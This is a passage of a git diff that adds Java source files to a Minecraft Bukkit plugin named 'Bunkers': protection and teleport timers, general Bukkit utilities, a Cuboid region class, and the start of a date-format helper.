org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.EventPriority; +import org.bukkit.event.Listener; +import org.bukkit.event.entity.EntityDamageByEntityEvent; +import org.bukkit.event.entity.EntityDamageEvent; +import java.util.UUID; +import java.util.concurrent.TimeUnit; + +public class ProtectionTimer extends PlayerTimer implements Listener { + public ProtectionTimer() { + super("Protection", TimeUnit.SECONDS.toMillis(10L), false); + } + + + @Override + public String getScoreboardPrefix() { + return ChatColor.DARK_AQUA.toString() + ChatColor.BOLD; + } + + @Override + public TimerCooldown clearCooldown(UUID uuid) { + TimerCooldown runnable = super.clearCooldown(uuid); + if (runnable != null) { + return runnable; + } + + return null; + } + + @EventHandler(ignoreCancelled = true, priority = EventPriority.MONITOR) + public void onPlayerDamage(EntityDamageEvent event) { + Entity entity = event.getEntity(); + + if (entity instanceof Player) { + if (getRemaining((Player) entity) > 0) { + event.setCancelled(true); + + if (event instanceof EntityDamageByEntityEvent) { + if (((EntityDamageByEntityEvent) event).getDamager() instanceof Player) { + ((Player) ((EntityDamageByEntityEvent) event).getDamager()).sendMessage(ChatColor.RED + "That player has pvp timer."); + } + } + } + } + } +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/timer/type/TeleportTimer.java b/Bunkers/src/main/java/me/redis/bunkers/timer/type/TeleportTimer.java new file mode 100644 index 0000000..13f9554 --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/timer/type/TeleportTimer.java @@ -0,0 +1,127 @@ +package me.redis.bunkers.timer.type; + +import me.redis.bunkers.Bunkers; +import me.redis.bunkers.timer.PlayerTimer; +import me.redis.bunkers.timer.TimerCooldown; +import me.redis.bunkers.utils.LocationUtils; +import me.redis.bunkers.utils.SerializationUtils; +import org.apache.commons.lang.StringUtils; +import org.bukkit.Bukkit; +import org.bukkit.ChatColor; +import org.bukkit.Location; +import org.bukkit.entity.Entity; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.EventPriority; +import org.bukkit.event.Listener; +import org.bukkit.event.entity.EntityDamageEvent; +import org.bukkit.event.player.PlayerMoveEvent; +import org.bukkit.event.player.PlayerTeleportEvent; + +import java.util.Collection; +import java.util.HashMap; +import java.util.Map; +import java.util.UUID; +import java.util.concurrent.TimeUnit; + +public class TeleportTimer extends PlayerTimer implements Listener { + private final Bunkers plugin; + + public TeleportTimer(Bunkers plugin) { + super("Home", TimeUnit.SECONDS.toMillis(10L), false); + + this.plugin = plugin; + } + + /** + * Gets the {@link Location} this {@link TeleportTimer} will send to. + * + * + * @return the {@link Location} + */ + + @Override + public String getScoreboardPrefix() { + return ChatColor.DARK_AQUA.toString() + ChatColor.BOLD; + } + + @Override + public TimerCooldown clearCooldown(UUID uuid) { + TimerCooldown runnable = super.clearCooldown(uuid); + if (runnable != null) { + return runnable; + } + + return null; + } + + /** + * Gets the amount of enemies nearby a {@link Player}. + * + * @param player the {@link Player} to get for + * @param distance the radius to get within + * + * @return the amount of players within enemy distance + */ + + /** + * Teleports a {@link Player} to a {@link Location} with a delay. + * + * @param player the {@link Player} to teleport + * @param location the {@link Location} to teleport to + * @param millis the time in milliseconds until teleport + * @param warmupMessage the message to send whilst waiting + * @param cause the cause for teleporting + * + * @return true if {@link Player} was successfully teleported + */ + + /** + * Cancels a {@link Player}s' teleport process for a given reason. + * + * @param player the {@link Player} to cancel for + * @param reason the reason for cancelling + */ + public void cancelTeleport(Player player, String reason) { + UUID uuid = player.getUniqueId(); + if (getRemaining(uuid) > 0L) { + clearCooldown(uuid); + if (reason != null && !reason.isEmpty()) { + player.sendMessage(reason); + } + } + } + + @EventHandler(ignoreCancelled = true, priority = EventPriority.MONITOR) + public void onPlayerMove(PlayerMoveEvent event) { + Location from = event.getFrom(); + Location to = event.getTo(); + if (from.getBlockX() == to.getBlockX() && from.getBlockY() == to.getBlockY() && from.getBlockZ() == to.getBlockZ()) { + return; + } + + cancelTeleport(event.getPlayer(), ChatColor.YELLOW + "You moved a block, therefore cancelling your teleport."); + } + + @EventHandler(ignoreCancelled = true, priority = EventPriority.MONITOR) + public void onPlayerDamage(EntityDamageEvent event) { + Entity entity = event.getEntity(); + if (entity instanceof Player) { + cancelTeleport((Player) entity, ChatColor.YELLOW + "You took damage, therefore cancelling your teleport."); + } + } + + @Override + public void onExpire(UUID userUUID) { + Player player = Bukkit.getPlayer(userUUID); + if (player == null) { + return; + } + + Location destination = LocationUtils.getLocation(Bunkers.getPlugin().getTeamManager().getByPlayer(player).getSpawnLocation()); + if (destination != null) { + destination.getChunk(); + player.teleport(destination, PlayerTeleportEvent.TeleportCause.COMMAND); + } + } +} diff --git a/Bunkers/src/main/java/me/redis/bunkers/utils/BukkitUtils.java b/Bunkers/src/main/java/me/redis/bunkers/utils/BukkitUtils.java new file mode 100644 index 0000000..860266f --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/utils/BukkitUtils.java @@ -0,0 +1,208 @@ +package me.redis.bunkers.utils; + +import com.google.common.base.Preconditions; +import com.google.common.base.Strings; +import com.google.common.collect.ImmutableMap; +import com.google.common.collect.ImmutableSet; +import net.minecraft.server.v1_7_R4.EntityInsentient; +import net.minecraft.server.v1_7_R4.EntityTypes; +import org.bukkit.*; +import org.bukkit.block.Block; +import org.bukkit.command.CommandSender; +import org.bukkit.entity.Entity; +import org.bukkit.entity.Player; +import org.bukkit.entity.Projectile; +import org.bukkit.entity.ThrownPotion; +import org.bukkit.event.entity.EntityDamageByEntityEvent; +import org.bukkit.event.entity.EntityDamageEvent; +import org.bukkit.potion.PotionEffect; +import org.bukkit.potion.PotionEffectType; +import org.bukkit.projectiles.ProjectileSource; + +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.List; +import java.util.Map; +import java.util.UUID; +import java.util.stream.Collectors; + +public class BukkitUtils { + + private static final ImmutableMap CHAT_DYE_COLOUR_MAP = ImmutableMap.builder().put(ChatColor.AQUA, DyeColor.LIGHT_BLUE).put(ChatColor.BLACK, DyeColor.BLACK).put(ChatColor.BLUE, DyeColor.LIGHT_BLUE).put(ChatColor.DARK_AQUA, DyeColor.CYAN).put(ChatColor.DARK_BLUE, DyeColor.BLUE).put(ChatColor.DARK_GRAY, DyeColor.GRAY).put(ChatColor.DARK_GREEN, DyeColor.GREEN).put(ChatColor.DARK_PURPLE, DyeColor.PURPLE).put(ChatColor.DARK_RED, DyeColor.RED).put(ChatColor.GOLD, DyeColor.ORANGE).put(ChatColor.GRAY, DyeColor.SILVER).put(ChatColor.GREEN, DyeColor.LIME).put(ChatColor.LIGHT_PURPLE, DyeColor.MAGENTA).put(ChatColor.RED, DyeColor.RED).put(ChatColor.WHITE, DyeColor.WHITE).put(ChatColor.YELLOW, DyeColor.YELLOW).build();; + private static final ImmutableSet DEBUFF_TYPES = ImmutableSet.builder().add(PotionEffectType.BLINDNESS).add(PotionEffectType.CONFUSION).add(PotionEffectType.HARM).add(PotionEffectType.HUNGER).add(PotionEffectType.POISON).add(PotionEffectType.SATURATION).add(PotionEffectType.SLOW).add(PotionEffectType.SLOW_DIGGING).add(PotionEffectType.WEAKNESS).add(PotionEffectType.WITHER).build();; + + public static final String STRAIGHT_LINE_TEMPLATE = ChatColor.STRIKETHROUGH + Strings.repeat("-", 256); + + public static List getCompletions(String[] arguments, List input) { + return getCompletions(arguments, input, 80); + } + + public static List getCompletions(String[] arguments, List input, int limit) { + Preconditions.checkNotNull(arguments); + Preconditions.checkArgument(arguments.length != 0); + String argument = arguments[arguments.length - 1]; + return input.stream().filter(string -> string.regionMatches(true, 0, argument, 0, argument.length())).limit(limit).collect(Collectors.toList()); + } + + public static String getDisplayName(CommandSender sender) { + Preconditions.checkNotNull(sender, "Sender cannot be null"); + return (sender instanceof Player) ? ((Player) sender).getDisplayName() : sender.getName(); + } + + public static DyeColor toDyeColor(ChatColor colour) { + return CHAT_DYE_COLOUR_MAP.get(colour); + } + + public static Player getFinalAttacker(EntityDamageEvent ede, boolean ignoreSelf) { + Player attacker = null; + if (ede instanceof EntityDamageByEntityEvent) { + EntityDamageByEntityEvent event = (EntityDamageByEntityEvent) ede; + Entity damager = event.getDamager(); + if (event.getDamager() instanceof Player) { + attacker = (Player) damager; + } else if (event.getDamager() instanceof Projectile) { + Projectile projectile = (Projectile) damager; + ProjectileSource shooter = projectile.getShooter(); + if (shooter instanceof Player) { + attacker = (Player) shooter; + } + } + if (attacker != null && ignoreSelf && event.getEntity().equals(attacker)) { + attacker = null; + } + } + return attacker; + } + + public static Player getPlayer(String string) { + if (string == null) { + return null; + } + return JavaUtils.isUUID(string) ? Bukkit.getPlayer(UUID.fromString(string)) : Bukkit.getPlayer(string); + } + + @Deprecated + public static OfflinePlayer getOfflinePlayer(String string) { + if (string == null) { + return null; + } + return JavaUtils.isUUID(string) ? Bukkit.getOfflinePlayer(UUID.fromString(string)) : Bukkit.getOfflinePlayer(string); + } + + public static boolean isWithinX(Location location, Location other, double distance) { + return location.getWorld().equals(other.getWorld()) && Math.abs(other.getX() - location.getX()) <= distance && Math.abs(other.getZ() - location.getZ()) <= distance; + } + + public static Location getHighestLocation(Location origin) { + return getHighestLocation(origin, null); + } + + public static Location getHighestLocation(Location origin, Location def) { + Location cloned = Preconditions.checkNotNull(origin, "The location cannot be null").clone(); + World world = cloned.getWorld(); + int x = cloned.getBlockX(); + int y = world.getMaxHeight(); + int z = cloned.getBlockZ(); + while (y > origin.getBlockY()) { + Block block = world.getBlockAt(x, --y, z); + if (!block.isEmpty()) { + Location next = block.getLocation(); + next.setPitch(origin.getPitch()); + next.setYaw(origin.getYaw()); + return next; + } + } + return def; + } + + public static boolean isDebuff(PotionEffectType type) { + return DEBUFF_TYPES.contains(type); + } + + public static boolean isDebuff(PotionEffect effect) { + return isDebuff(effect.getType()); + } + + public static boolean isDebuff(ThrownPotion potion) { + for (PotionEffect effect : potion.getEffects()) { + if (isDebuff(effect)) { + return true; + } + } + return false; + } + + public static String niceTime(int seconds) { + int hours = seconds / 3600; + seconds -= hours * 3600; + int minutes = seconds / 60; + seconds -= minutes * 60; + return niceTime(hours, minutes, seconds); + } + + public static String niceTime(int seconds, boolean showEmptyHours) { + int hours = seconds / 3600; + seconds -= hours * 3600; + int minutes = seconds / 60; + seconds -= minutes * 60; + return niceTime(hours, minutes, seconds, showEmptyHours); + } + + public static String niceTime(int hours, int minutes, int seconds) { + return niceTime(hours, minutes, seconds, true); + } + + public static String niceTime(int hours, int minutes, int seconds, boolean showEmptyHours) { + StringBuilder builder = new StringBuilder(); + + // Skip hours + if (hours > 0) { + if (hours < 10) { + builder.append('0'); + } + builder.append(hours); + builder.append(':'); + } else if (showEmptyHours) { + builder.append("00:"); + } + + if (minutes < 10 && hours != -1) { + builder.append('0'); + } + builder.append(minutes); + builder.append(':'); + + if (seconds < 10) { + builder.append('0'); + } + builder.append(seconds); + + return builder.toString(); + } + + public static void registerEntity(String name, int id, Class nmsClass, Class customClass){ + try { + + List> dataMap = new ArrayList>(); + for (Field f : EntityTypes.class.getDeclaredFields()){ + if (f.getType().getSimpleName().equals(Map.class.getSimpleName())){ + f.setAccessible(true); + dataMap.add((Map) f.get(null)); + } + } + + if (dataMap.get(2).containsKey(id)){ + dataMap.get(0).remove(name); + dataMap.get(2).remove(id); + } + + Method method = EntityTypes.class.getDeclaredMethod("a", Class.class, String.class, int.class); + method.setAccessible(true); + method.invoke(null, customClass, name, id); + + } catch (Exception e) { + e.printStackTrace(); + } + } +} \ No newline at end of file diff --git a/Bunkers/src/main/java/me/redis/bunkers/utils/Cuboid.java b/Bunkers/src/main/java/me/redis/bunkers/utils/Cuboid.java new file mode 100644 index 0000000..19ffcba --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/utils/Cuboid.java @@ -0,0 +1,667 @@ +package me.redis.bunkers.utils; + +import org.bukkit.Bukkit; +import org.bukkit.Chunk; +import org.bukkit.Location; +import org.bukkit.World; +import org.bukkit.block.Block; +import org.bukkit.configuration.serialization.ConfigurationSerializable; +import org.bukkit.entity.Player; + +import java.util.*; + +/** + * This class is a region/cuboid from one location to another. It can be used for blocks protection and things like WorldEdit. + * @author desht (Original code), KingFaris10 (Editor of code) + */ +public class Cuboid implements Iterable, Cloneable, ConfigurationSerializable { + + protected String worldName; + protected int x1, y1, z1; + protected int x2, y2, z2; + + /** + * Construct a Cuboid given two Location objects which represent any two corners of the Cuboid. + * Note: The 2 locations must be on the same world. + * + * @param l1 - One of the corners + * @param l2 - The other corner + */ + public Cuboid(Location l1, Location l2) { + if (!l1.getWorld().equals(l2.getWorld())) throw new IllegalArgumentException("Locations must be on the same world"); + this.worldName = l1.getWorld().getName(); + this.x1 = Math.min(l1.getBlockX(), l2.getBlockX()); + this.y1 = Math.min(l1.getBlockY(), l2.getBlockY()); + this.z1 = Math.min(l1.getBlockZ(), l2.getBlockZ()); + this.x2 = Math.max(l1.getBlockX(), l2.getBlockX()); + this.y2 = Math.max(l1.getBlockY(), l2.getBlockY()); + this.z2 = Math.max(l1.getBlockZ(), l2.getBlockZ()); + } + + /** + * Construct a one-block Cuboid at the given Location of the Cuboid. + * + * @param l1 location of the Cuboid + */ + public Cuboid(Location l1) { + this(l1, l1); + } + + /** + * Copy constructor. + * + * @param other - The Cuboid to copy + */ + public Cuboid(Cuboid other) { + this(other.getWorld().getName(), other.x1, other.y1, other.z1, other.x2, other.y2, other.z2); + } + + /** + * Construct a Cuboid in the given World and xyz co-ordinates + * + * @param world - The Cuboid's world + * @param x1 - X co-ordinate of corner 1 + * @param y1 - Y co-ordinate of corner 1 + * @param z1 - Z co-ordinate of corner 1 + * @param x2 - X co-ordinate of corner 2 + * @param y2 - Y co-ordinate of corner 2 + * @param z2 - Z co-ordinate of corner 2 + */ + + public Cuboid(World world, int x1, int y1, int z1, int x2, int y2, int z2) { + this.worldName = world.getName(); + this.x1 = Math.min(x1, x2); + this.x2 = Math.max(x1, x2); + this.y1 = Math.min(y1, y2); + this.y2 = Math.max(y1, y2); + this.z1 = Math.min(z1, z2); + this.z2 = Math.max(z1, z2); + } + + /** + * Construct a Cuboid in the given world name and xyz co-ordinates. + * + * @param worldName - The Cuboid's world name + * @param x1 - X co-ordinate of corner 1 + * @param y1 - Y co-ordinate of corner 1 + * @param z1 - Z co-ordinate of corner 1 + * @param x2 - X co-ordinate of corner 2 + * @param y2 - Y co-ordinate of corner 2 + * @param z2 - Z co-ordinate of corner 2 + */ + private Cuboid(String worldName, int x1, int y1, int z1, int x2, int y2, int z2) { + this.worldName = worldName; + this.x1 = Math.min(x1, x2); + this.x2 = Math.max(x1, x2); + this.y1 = Math.min(y1, y2); + this.y2 = Math.max(y1, y2); + this.z1 = Math.min(z1, z2); + this.z2 = Math.max(z1, z2); + } + + /** + * Construct a Cuboid using a map with the following keys: worldName, x1, x2, y1, y2, z1, z2 + * @param map - The map of keys. + */ + public Cuboid(Map map) { + this.worldName = (String) map.get("worldName"); + this.x1 = (Integer) map.get("x1"); + this.x2 = (Integer) map.get("x2"); + this.y1 = (Integer) map.get("y1"); + this.y2 = (Integer) map.get("y2"); + this.z1 = (Integer) map.get("z1"); + this.z2 = (Integer) map.get("z2"); + } + + @Override + public Map serialize() { + Map map = new HashMap(); + map.put("worldName", this.worldName); + map.put("x1", this.x1); + map.put("y1", this.y1); + map.put("z1", this.z1); + map.put("x2", this.x2); + map.put("y2", this.y2); + map.put("z2", this.z2); + return map; + } + + /** + * Get the Location of the lower northeast corner of the Cuboid (minimum XYZ co-ordinates). + * + * @return Location of the lower northeast corner + */ + public Location getLowerNE() { + return new Location(this.getWorld(), this.x1, this.y1, this.z1); + } + + /** + * Get the Location of the upper southwest corner of the Cuboid (maximum XYZ co-ordinates). + * + * @return Location of the upper southwest corner + */ + public Location getUpperSW() { + return new Location(this.getWorld(), this.x2, this.y2, this.z2); + } + + /** + * Get the blocks in the Cuboid. + * + * @return The blocks in the Cuboid + */ + public List getBlocks() { + Iterator blockI = this.iterator(); + List copy = new ArrayList(); + while (blockI.hasNext()) + copy.add(blockI.next()); + return copy; + } + + /** + * Get the the centre of the Cuboid. + * + * @return Location at the centre of the Cuboid + */ + public Location getCenter() { + int x1 = this.getUpperX() + 1; + int y1 = this.getUpperY() + 1; + int z1 = this.getUpperZ() + 1; + return new Location(this.getWorld(), this.getLowerX() + (x1 - this.getLowerX()) / 2.0, this.getLowerY() + (y1 - this.getLowerY()) / 2.0, this.getLowerZ() + (z1 - this.getLowerZ()) / 2.0); + } + + public Set getPlayers() { + Set players = new HashSet<>(); + for (Player player : Bukkit.getOnlinePlayers()) { + if (contains(player.getLocation())) { + players.add(player); + } + } + return players; + } + + /** + * Get the Cuboid's world. + * + * @return The World object representing this Cuboid's world + * @throws IllegalStateException if the world is not loaded + */ + public World getWorld() { + World world = Bukkit.getWorld(this.worldName); + if (world == null) throw new IllegalStateException("World '" + this.worldName + "' is not loaded"); + return world; + } + + /** + * Get the size of this Cuboid along the X axis + * + * @return Size of Cuboid along the X axis + */ + public int getSizeX() { + return (this.x2 - this.x1) + 1; + } + + /** + * Get the size of this Cuboid along the Y axis + * + * @return Size of Cuboid along the Y axis + */ + public int getSizeY() { + return (this.y2 - this.y1) + 1; + } + + /** + * Get the size of this Cuboid along the Z axis + * + * @return Size of Cuboid along the Z axis + */ + public int getSizeZ() { + return (this.z2 - this.z1) + 1; + } + + /** + * Get the minimum X co-ordinate of this Cuboid + * + * @return the minimum X co-ordinate + */ + public int getLowerX() { + return this.x1; + } + + /** + * Get the minimum Y co-ordinate of this Cuboid + * + * @return the minimum Y co-ordinate + */ + public int getLowerY() { + return this.y1; + } + + /** + * Get the minimum Z co-ordinate of this Cuboid + * + * @return the minimum Z co-ordinate + */ + public int getLowerZ() { + return this.z1; + } + + /** + * Get the maximum X co-ordinate of this Cuboid + * + * @return the maximum X co-ordinate + */ + public int getUpperX() { + return this.x2; + } + + /** + * Get the maximum Y co-ordinate of this Cuboid + * + * @return the maximum Y co-ordinate + */ + public int getUpperY() { + return this.y2; + } + + /** + * Get the maximum Z co-ordinate of this Cuboid + * + * @return the maximum Z co-ordinate + */ + public int getUpperZ() { + return this.z2; + } + + /** + * Get the Blocks at the eight corners of the Cuboid. + * + * @return array of Block objects representing the Cuboid corners + */ + public Block[] corners() { + Block[] res = new Block[8]; + World w = this.getWorld(); + res[0] = w.getBlockAt(this.x1, this.y1, this.z1); + res[1] = w.getBlockAt(this.x1, this.y1, this.z2); + res[2] = w.getBlockAt(this.x1, this.y2, this.z1); + res[3] = w.getBlockAt(this.x1, this.y2, this.z2); + res[4] = w.getBlockAt(this.x2, this.y1, this.z1); + res[5] = w.getBlockAt(this.x2, this.y1, this.z2); + res[6] = w.getBlockAt(this.x2, this.y2, this.z1); + res[7] = w.getBlockAt(this.x2, this.y2, this.z2); + return res; + } + + /** + * Expand the Cuboid in the given direction by the given amount. Negative amounts will shrink the Cuboid in the given direction. Shrinking a cuboid's face past the opposite face is not an error and will return a valid Cuboid. + * + * @param dir - The direction in which to expand + * @param amount - The number of blocks by which to expand + * @return A new Cuboid expanded by the given direction and amount + */ + public Cuboid expand(CuboidDirection dir, int amount) { + switch (dir) { + case North: + return new Cuboid(this.worldName, this.x1 - amount, this.y1, this.z1, this.x2, this.y2, this.z2); + case South: + return new Cuboid(this.worldName, this.x1, this.y1, this.z1, this.x2 + amount, this.y2, this.z2); + case East: + return new Cuboid(this.worldName, this.x1, this.y1, this.z1 - amount, this.x2, this.y2, this.z2); + case West: + return new Cuboid(this.worldName, this.x1, this.y1, this.z1, this.x2, this.y2, this.z2 + amount); + case Down: + return new Cuboid(this.worldName, this.x1, this.y1 - amount, this.z1, this.x2, this.y2, this.z2); + case Up: + return new Cuboid(this.worldName, this.x1, this.y1, this.z1, this.x2, this.y2 + amount, this.z2); + default: + throw new IllegalArgumentException("Invalid direction " + dir); + } + } + + /** + * Shift the Cuboid in the given direction by the given amount. + * + * @param dir - The direction in which to shift + * @param amount - The number of blocks by which to shift + * @return A new Cuboid shifted by the given direction and amount + */ + public Cuboid shift(CuboidDirection dir, int amount) { + return expand(dir, amount).expand(dir.opposite(), -amount); + } + + /** + * Outset (grow) the Cuboid in the given direction by the given amount. + * + * @param dir - The direction in which to outset (must be Horizontal, Vertical, or Both) + * @param amount - The number of blocks by which to outset + * @return A new Cuboid outset by the given direction and amount + */ + public Cuboid outset(CuboidDirection dir, int amount) { + Cuboid c; + switch (dir) { + case Horizontal: + c = expand(CuboidDirection.North, amount).expand(CuboidDirection.South, amount).expand(CuboidDirection.East, amount).expand(CuboidDirection.West, amount); + break; + case Vertical: + c = expand(CuboidDirection.Down, amount).expand(CuboidDirection.Up, amount); + break; + case Both: + c = outset(CuboidDirection.Horizontal, amount).outset(CuboidDirection.Vertical, amount); + break; + default: + throw new IllegalArgumentException("Invalid direction " + dir); + } + return c; + } + + /** + * Inset (shrink) the Cuboid in the given direction by the given amount. Equivalent + * to calling outset() with a negative amount. + * + * @param dir - The direction in which to inset (must be Horizontal, Vertical, or Both) + * @param amount - The number of blocks by which to inset + * @return A new Cuboid inset by the given direction and amount + */ + public Cuboid inset(CuboidDirection dir, int amount) { + return this.outset(dir, -amount); + } + + /** + * Return true if the point at (x,y,z) is contained within this Cuboid. + * + * @param x - The X co-ordinate + * @param y - The Y co-ordinate + * @param z - The Z co-ordinate + * @return true if the given point is within this Cuboid, false otherwise + */ + public boolean contains(int x, int y, int z) { + return x >= this.x1 && x <= this.x2 && y >= this.y1 && y <= this.y2 && z >= this.z1 && z <= this.z2; + } + + /** + * Check if the given Block is contained within this Cuboid. + * + * @param b - The Block to check for + * @return true if the Block is within this Cuboid, false otherwise + */ + public boolean contains(Block b) { + return this.contains(b.getLocation()); + } + + /** + * Check if the given Location is contained within this Cuboid. + * + * @param l - The Location to check for + * @return true if the Location is within this Cuboid, false otherwise + */ + public boolean contains(Location l) { + if (!this.worldName.equals(l.getWorld().getName())) return false; + return this.contains(l.getBlockX(), l.getBlockY(), l.getBlockZ()); + } + + /** + * Get the volume of this Cuboid. + * + * @return The Cuboid volume, in blocks + */ + public int getVolume() { + return this.getSizeX() * this.getSizeY() * this.getSizeZ(); + } + + /** + * Get the average light level of all empty (air) blocks in the Cuboid. Returns 0 if there are no empty blocks. + * + * @return The average light level of this Cuboid + */ + public byte getAverageLightLevel() { + long total = 0; + int n = 0; + for (Block b : this) { + if (b.isEmpty()) { + total += b.getLightLevel(); + ++n; + } + } + return n > 0 ? (byte) (total / n) : 0; + } + + /** + * Contract the Cuboid, returning a Cuboid with any air around the edges removed, just large enough to include all non-air blocks. + * + * @return A new Cuboid with no external air blocks + */ + public Cuboid contract() { + return this.contract(CuboidDirection.Down).contract(CuboidDirection.South).contract(CuboidDirection.East).contract(CuboidDirection.Up).contract(CuboidDirection.North).contract(CuboidDirection.West); + } + + /** + * Contract the Cuboid in the given direction, returning a new Cuboid which has no exterior empty space. + * E.g. A direction of Down will push the top face downwards as much as possible. + * + * @param dir - The direction in which to contract + * @return A new Cuboid contracted in the given direction + */ + public Cuboid contract(CuboidDirection dir) { + Cuboid face = getFace(dir.opposite()); + switch (dir) { + case Down: + while (face.containsOnly(0) && face.getLowerY() > this.getLowerY()) { + face = face.shift(CuboidDirection.Down, 1); + } + return new Cuboid(this.worldName, this.x1, this.y1, this.z1, this.x2, face.getUpperY(), this.z2); + case Up: + while (face.containsOnly(0) && face.getUpperY() < this.getUpperY()) { + face = face.shift(CuboidDirection.Up, 1); + } + return new Cuboid(this.worldName, this.x1, face.getLowerY(), this.z1, this.x2, this.y2, this.z2); + case North: + while (face.containsOnly(0) && face.getLowerX() > this.getLowerX()) { + face = face.shift(CuboidDirection.North, 1); + } + return new Cuboid(this.worldName, this.x1, this.y1, this.z1, face.getUpperX(), this.y2, this.z2); + case South: + while (face.containsOnly(0) && face.getUpperX() < this.getUpperX()) { + face = face.shift(CuboidDirection.South, 1); + } + return new Cuboid(this.worldName, face.getLowerX(), this.y1, this.z1, this.x2, this.y2, this.z2); + case East: + while (face.containsOnly(0) && face.getLowerZ() > this.getLowerZ()) { + face = face.shift(CuboidDirection.East, 1); + } + return new Cuboid(this.worldName, this.x1, this.y1, this.z1, this.x2, this.y2, face.getUpperZ()); + case West: + while (face.containsOnly(0) && face.getUpperZ() < this.getUpperZ()) { + face = face.shift(CuboidDirection.West, 1); + } + return new Cuboid(this.worldName, this.x1, this.y1, face.getLowerZ(), this.x2, this.y2, this.z2); + default: + throw new IllegalArgumentException("Invalid direction " + dir); + } + } + + /** + * Get the Cuboid representing the face of this Cuboid. The resulting Cuboid will be one block thick in the axis perpendicular to the requested face. + * + * @param dir - which face of the Cuboid to get + * @return The Cuboid representing this Cuboid's requested face + */ + public Cuboid getFace(CuboidDirection dir) { + switch (dir) { + case Down: + return new Cuboid(this.worldName, this.x1, this.y1, this.z1, this.x2, this.y1, this.z2); + case Up: + return new Cuboid(this.worldName, this.x1, this.y2, this.z1, this.x2, this.y2, this.z2); + case North: + return new Cuboid(this.worldName, this.x1, this.y1, this.z1, this.x1, this.y2, this.z2); + case South: + return new Cuboid(this.worldName, this.x2, this.y1, this.z1, this.x2, this.y2, this.z2); + case East: + return new Cuboid(this.worldName, this.x1, this.y1, this.z1, this.x2, this.y2, this.z1); + case West: + return new Cuboid(this.worldName, this.x1, this.y1, this.z2, this.x2, this.y2, this.z2); + default: + throw new IllegalArgumentException("Invalid direction " + dir); + } + } + + /** + * Check if the Cuboid contains only blocks of the given type + * + * @param blockId - The block ID to check for + * @return true if this Cuboid contains only blocks of the given type + */ + public boolean containsOnly(int blockId) { + for (Block b : this) { + if (b.getTypeId() != blockId) return false; + } + return true; + } + + /** + * Get the Cuboid big enough to hold both this Cuboid and the given one. + * + * @param other - The other cuboid. + * @return A new Cuboid large enough to hold this Cuboid and the given Cuboid + */ + public Cuboid getBoundingCuboid(Cuboid other) { + if (other == null) return this; + + int xMin = Math.min(this.getLowerX(), other.getLowerX()); + int yMin = Math.min(this.getLowerY(), other.getLowerY()); + int zMin = Math.min(this.getLowerZ(), other.getLowerZ()); + int xMax = Math.max(this.getUpperX(), other.getUpperX()); + int yMax = Math.max(this.getUpperY(), other.getUpperY()); + int zMax = Math.max(this.getUpperZ(), other.getUpperZ()); + + return new Cuboid(this.worldName, xMin, yMin, zMin, xMax, yMax, zMax); + } + + /** + * Get a block relative to the lower NE point of the Cuboid. + * + * @param x - The X co-ordinate + * @param y - The Y co-ordinate + * @param z - The Z co-ordinate + * @return The block at the given position + */ + public Block getRelativeBlock(int x, int y, int z) { + return this.getWorld().getBlockAt(this.x1 + x, this.y1 + y, this.z1 + z); + } + + /** + * Get a block relative to the lower NE point of the Cuboid in the given World. This + * version of getRelativeBlock() should be used if being called many times, to avoid + * excessive calls to getWorld(). + * + * @param w - The world + * @param x - The X co-ordinate + * @param y - The Y co-ordinate + * @param z - The Z co-ordinate + * @return The block at the given position + */ + public Block getRelativeBlock(World w, int x, int y, int z) { + return w.getBlockAt(this.x1 + x, y1 + y, this.z1 + z); + } + + /** + * Get a list of the chunks which are fully or partially contained in this cuboid. + * + * @return A list of Chunk objects + */ + public List getChunks() { + List res = new ArrayList(); + + World w = this.getWorld(); + int x1 = this.getLowerX() & ~0xf; + int x2 = this.getUpperX() & ~0xf; + int z1 = this.getLowerZ() & ~0xf; + int z2 = this.getUpperZ() & ~0xf; + for (int x = x1; x <= x2; x += 16) { + for (int z = z1; z <= z2; z += 16) { + res.add(w.getChunkAt(x >> 4, z >> 4)); + } + } + return res; + } + + public Iterator iterator() { + return new CuboidIterator(this.getWorld(), this.x1, this.y1, this.z1, this.x2, this.y2, this.z2); + } + + @Override + public Cuboid clone() { + return new Cuboid(this); + } + + @Override + public String toString() { + return new String("Cuboid: " + this.worldName + "," + this.x1 + "," + this.y1 + "," + this.z1 + "=>" + this.x2 + "," + this.y2 + "," + this.z2); + } + + public class CuboidIterator implements Iterator { + private World w; + private int baseX, baseY, baseZ; + private int x, y, z; + private int sizeX, sizeY, sizeZ; + + public CuboidIterator(World w, int x1, int y1, int z1, int x2, int y2, int z2) { + this.w = w; + this.baseX = x1; + this.baseY = y1; + this.baseZ = z1; + this.sizeX = Math.abs(x2 - x1) + 1; + this.sizeY = Math.abs(y2 - y1) + 1; + this.sizeZ = Math.abs(z2 - z1) + 1; + this.x = this.y = this.z = 0; + } + + public boolean hasNext() { + return this.x < this.sizeX && this.y < this.sizeY && this.z < this.sizeZ; + } + + public Block next() { + Block b = this.w.getBlockAt(this.baseX + this.x, this.baseY + this.y, this.baseZ + this.z); + if (++x >= this.sizeX) { + this.x = 0; + if (++this.y >= this.sizeY) { + this.y = 0; + ++this.z; + } + } + return b; + } + + public void remove() { + } + } + + public enum CuboidDirection { + North, East, South, West, Up, Down, Horizontal, Vertical, Both, Unknown; + + public CuboidDirection opposite() { + switch (this) { + case North: + return South; + case East: + return West; + case South: + return North; + case West: + return East; + case Horizontal: + return Vertical; + case Vertical: + return Horizontal; + case Up: + return Down; + case Down: + return Up; + case Both: + return Both; + default: + return Unknown; + } + } + + } + +} \ No newline at end of file diff --git a/Bunkers/src/main/java/me/redis/bunkers/utils/DateTimeFormats.java b/Bunkers/src/main/java/me/redis/bunkers/utils/DateTimeFormats.java new file mode 100644 index 0000000..875a516 --- /dev/null +++ b/Bunkers/src/main/java/me/redis/bunkers/utils/DateTimeFormats.java @@ -0,0 +1,43 @@ +package me.redis.bunkers.utils; + + +import net.minecraft.util.org.apache.commons.lang3.time.FastDateFormat; + +import java.text.DecimalFormat; +import java.time.ZoneId; +import java.util.Locale; +import java.util.TimeZone; + +public final class DateTimeFormats { + + private DateTimeFormats() { + } + + public static final TimeZone SERVER_TIME_ZONE = TimeZone.getTimeZone("EST"); + 